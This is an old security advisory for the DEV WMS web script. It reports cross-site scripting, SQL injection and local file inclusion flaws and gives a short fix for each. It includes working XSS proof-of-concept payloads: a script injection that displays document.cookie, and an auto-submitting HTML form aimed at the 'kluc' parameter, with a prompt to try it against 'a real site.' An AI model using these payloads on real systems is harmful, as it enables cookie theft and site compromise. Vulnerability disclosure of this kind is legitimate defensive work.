DEV WMS Multiple Vulnerabilities

Type securityvulns
Reporter Securityvulns
Modified 2008-08-01T00:00:00


Script : DEV WMS

Type : Multiple Vulnerabilities ( Local file inclusion / Cross Site Scripting / SQL Injection )

Alert : High

Discovered by : Khashayar Fereidani Or Dr.Crash


Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

Script Download :

XSS Vulnerability 1 :

Variable Sent Method : GET

Vulnerable Variable : session

Address :">><>><script>alert(document.cookie)</script>

Solution : filter session variable with htmlspecialchars() function ...

Xss Vulnerability 2 :

Variable Sent Method : POST

Vulnerable Variable : kluc

Address :

change to script address in a real site and save as ircrash.html , open file with browser and see your cookie .

<html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="" method="POST" name="form"> <form method="post" onSubmit="return validateprm(this)"><input type="hidden" name="prip" value="true"/><input type="hidden" name="action" value="search"/> <input type="hidden" name="kluc" value=""'''<>>>><script>alert('xss')</script>"> </form> </body> </html>

Solution : filter kluc variable with htmlspecialchars() function ...

SQL Injection :

Method Of Send : GET

Vulnerable Variable : article

Address :[SQL CODE]

Solution : Filter danger caracter for article variable ...

Local file inclusion :

Method Of Send : GET

Vulnerable Variable : step

Address :

Solution : Filter step variable with if function ...

                    Tnx : God